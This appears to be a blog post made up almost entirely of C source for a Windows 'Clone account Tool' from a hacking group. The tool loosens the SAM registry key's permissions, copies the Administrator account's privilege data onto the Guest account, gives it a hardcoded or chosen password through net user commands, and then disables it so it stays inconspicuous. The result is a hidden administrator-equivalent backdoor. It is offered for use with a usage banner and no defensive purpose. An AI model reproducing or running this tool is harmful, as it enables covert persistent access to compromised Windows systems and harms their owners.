鬼仔's Blog

#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383

DWORD user_flag = 0;

TCHAR cloneUser[1024];

void QueryKey(HKEY hKey);
void banner();

void text_color(WORD color)
{
HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(console, color);
}

int main(int argc, char **argv)
{
DWORD dwRet;
LPSTR SamName = _T("MACHINE\SAM\SAM");
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pOldDacl = NULL;
PACL pNewDacl = NULL;
EXPLICIT_ACCESS ea;
HKEY hKey = NULL;
LPBYTE lpDataF=NULL;
HKEY cKey, uKey;
DWORD Type=REG_BINARY,SizeF=1024*2;
TCHAR command[1024];
TCHAR command1[1024];
int ret;

// 初始化变量
lpDataF = (LPBYTE) malloc(1024*2);
ZeroMemory(lpDataF,1024*2);

// 显示作者和相关信息
banner();

// 获取SAM主键的DACL
dwRet = GetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,
NULL, NULL, &pOldDacl, NULL, &pSD);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("Set Privilege (1) Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// 创建一个ACE，允许Everyone完全控制对象，并允许子对象继承此权限
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
BuildExplicitAccessWithName(&ea, _T("Everyone"), KEY_ALL_ACCESS, SET_ACCESS,
SUB_CONTAINERS_AND_OBJECTS_INHERIT);

// 将新的ACE加入DACL
dwRet = SetEntriesInAcl(1, &ea, pOldDacl, &pNewDacl);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("Set Privilege (2) Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// 更新SAM主键的DACL
dwRet = SetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDacl, NULL);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("Set Privilege (3) Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

_tprintf(_T("[+]Set Privilege.."));
text_color(10);
_tprintf(_T("[OK]
"));
text_color(7);

// 枚举用户
dwRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SAM\SAM\Domains\Account\Users\Names"),0, KEY_ALL_ACCESS,&uKey);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegOpenKeyEx Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// 功能函数实现自动判断用户
QueryKey(uKey);

if(user_flag == 0){
text_color(12);
_tprintf(_T("The guest user may be delete!
"));
text_color(7);
exit(0);
}

// 打开SAM的子键 1F4
dwRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SAM\SAM\Domains\Account\Users\000001F4"),
0, KEY_ALL_ACCESS, &hKey);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegOpenKeyEx Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// 获得 1F4 的 F 键值
dwRet = RegQueryValueEx(hKey, _T("F"), NULL, &Type,lpDataF,&SizeF);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegQueryValueEx Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// 打开SAM的子键 1F5
dwRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SAM\SAM\Domains\Account\Users\000001F5"),
0, KEY_ALL_ACCESS, &cKey);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegOpenKeyEx Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}

// clone
dwRet = RegSetValueEx(cKey,_T("F"),0, REG_BINARY,lpDataF,SizeF);
if (dwRet != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegSetValueEx Error: %d"), dwRet);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
goto FreeAndExit;
}
text_color(7);
_tprintf(_T("[+]Clone Successfully.."));
text_color(10);
_tprintf(_T("[OK]
"));
text_color(7);
_tprintf(_T("[+]Try to set user password.."));
text_color(10);
_tprintf(_T("[OK]
"));
text_color(7);

// 禁用用户, 改密码
if(argc == 1)
{

//执行 net user xx pass
_tcscpy(command,_T("net user "));
_tcscat(command,cloneUser);
_tcscat(command, _T(" "));
_tcscat(command, "zzrjitop");
text_color(0);
ret = system(command);
if (ret != 0)
{
text_color(7);
_tprintf(_T("Set password fail..
"));
text_color(12);
_tprintf(_T("
Fail
"));
text_color(7);
exit(5);
}

//执行 net user xx /active:no
_tcscpy(command1,_T("net user "));
_tcscat(command1,cloneUser);
_tcscat(command1,_T(" /active:no"));
// _tprintf(command1);
text_color(0);
ret = system(command1);
if (ret != 0)
{
text_color(7);
_tprintf(_T("Set password fail..
"));
text_color(12);
_tprintf(_T("
Fail
"));
text_color(7);
exit(5);
}
text_color(14);
_tprintf(_T("[+]User: %s Password: zzrjitop
"), cloneUser);
text_color(7);

}

if(argc ==2)
{

_tcscpy(command,_T("net user "));
_tcscat(command,cloneUser);
_tcscat(command, _T(" "));
_tcscat(command, argv[1]);
text_color(0);
ret = system(command);
if (ret != 0)
{
text_color(7);
_tprintf(_T("Set password fail..
"));
text_color(12);
_tprintf(_T("
Fail
"));
text_color(7);
exit(5);
}
//_tprintf("%s",command);

//执行 net user xx /active:no
_tcscpy(command1,_T("net user "));
_tcscat(command1,cloneUser);
_tcscat(command1,_T(" /active:no"));
text_color(0);
ret = system(command1);
if (ret != 0)
{
text_color(7);
_tprintf(_T("Set password fail..
"));
text_color(12);
_tprintf(_T("
Fail
"));
text_color(7);
exit(5);
}
text_color(14);
_tprintf(_T("[+]
User: %s Password: %s
"), cloneUser, argv[1]);
text_color(7);

}

goto FreeAndExit;

FreeAndExit:
if (hKey) RegCloseKey(hKey);
if (pNewDacl) LocalFree(pNewDacl);
// 还原SAM主键的DACL
if (pOldDacl) dwRet = SetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,
NULL, NULL, pOldDacl, NULL);
if (pSD) LocalFree(pSD);
return 0;
}

void QueryKey(HKEY hKey)
{
TCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
DWORD cbName; // size of name string
TCHAR achClass[MAX_PATH] = TEXT(""); // buffer for class name
DWORD cchClassName = MAX_PATH; // size of class string
DWORD cSubKeys=0; // number of subkeys
DWORD cbMaxSubKey; // longest subkey size
DWORD cchMaxClass; // longest class string
DWORD cValues=0; // number of values for key
DWORD cchMaxValue; // longest value name
DWORD cbMaxValueData; // longest value data
DWORD cbSecurityDescriptor; // size of security descriptor
FILETIME ftLastWriteTime; // last write time
DWORD type = REG_BINARY, Size=1024*2;
LPBYTE lpData=NULL;

DWORD i, retCode;
HKEY tKey;

DWORD cchValue = MAX_VALUE_NAME;

TCHAR fulPath[] =_T("SAM\SAM\Domains\Account\Users\Names\");
TCHAR temp[MAX_VALUE_NAME];
ZeroMemory(cloneUser,1024);

// Get the class name and the value count.
retCode = RegQueryInfoKey(
hKey, // key handle
achClass, // buffer for class name
&cchClassName, // size of class string
NULL, // reserved
&cSubKeys, // number of subkeys
&cbMaxSubKey, // longest subkey size
&cchMaxClass, // longest class string
&cValues, // number of values for this key
&cchMaxValue, // longest value name
&cbMaxValueData, // longest value data
&cbSecurityDescriptor, // security descriptor
&ftLastWriteTime); // last write time

// Enumerate the subkeys, until RegEnumKeyEx fails.

if (cSubKeys)
{
//printf( "
Number of subkeys: %d
", cSubKeys);

for (i=0; i<cSubKeys; i++)
{
cbName = MAX_KEY_LENGTH;
retCode = RegEnumKeyEx(hKey, i,
achKey,
&cbName,
NULL,
NULL,
NULL,
&ftLastWriteTime);
if (retCode == ERROR_SUCCESS)
{
//_tprintf(TEXT("(%d) %s
"), i+1, achKey);
ZeroMemory(temp,sizeof(temp));
_tcscpy(temp, fulPath);
_tcscat(temp,achKey);
//_tprintf(_T("%s
"), temp);

retCode = RegOpenKeyEx(HKEY_LOCAL_MACHINE, temp, 0, KEY_ALL_ACCESS,&tKey);
if (retCode != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegOpenKeyEx Error: %d"), retCode);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
exit(0);
}

lpData = (LPBYTE)malloc(2*1024);
ZeroMemory(lpData,2*1024);

retCode = RegQueryValueEx(tKey, NULL, NULL, &type, lpData,&Size);
if (retCode != ERROR_SUCCESS)
{
text_color(7);
_tprintf(_T("RegQueryValueEx Error: %d"), retCode);
text_color(12);
_tprintf(_T("[Fail]
"));
text_color(7);
if(tKey) RegCloseKey(tKey);
exit(1);
}

if(type==0x1f5) {
text_color(7);
_tprintf(_T("[+]Starting clone %s.."), achKey);
text_color(10);
_tprintf(_T("[OK]
"));
text_color(7);
_tcscpy(cloneUser,achKey);
user_flag = 1;
break;
}

}
}
}

// Enumerate the key values.
}

void banner(){
_tprintf(_T("******************************************************
"));
_tprintf(_T("* Clone account Tool http://www.eviloctal.com
"));
_tprintf(_T("* Clone the 1F5 user
"));
_tprintf(_T("* Usage: clone.exe or clone.exe pass
"));
_tprintf(_T("*"));
text_color(12);
_tprintf(_T(" If clone successfully it was made by zz[E.S.t]
"));
text_color(7);
_tprintf(_T("******************************************************

"));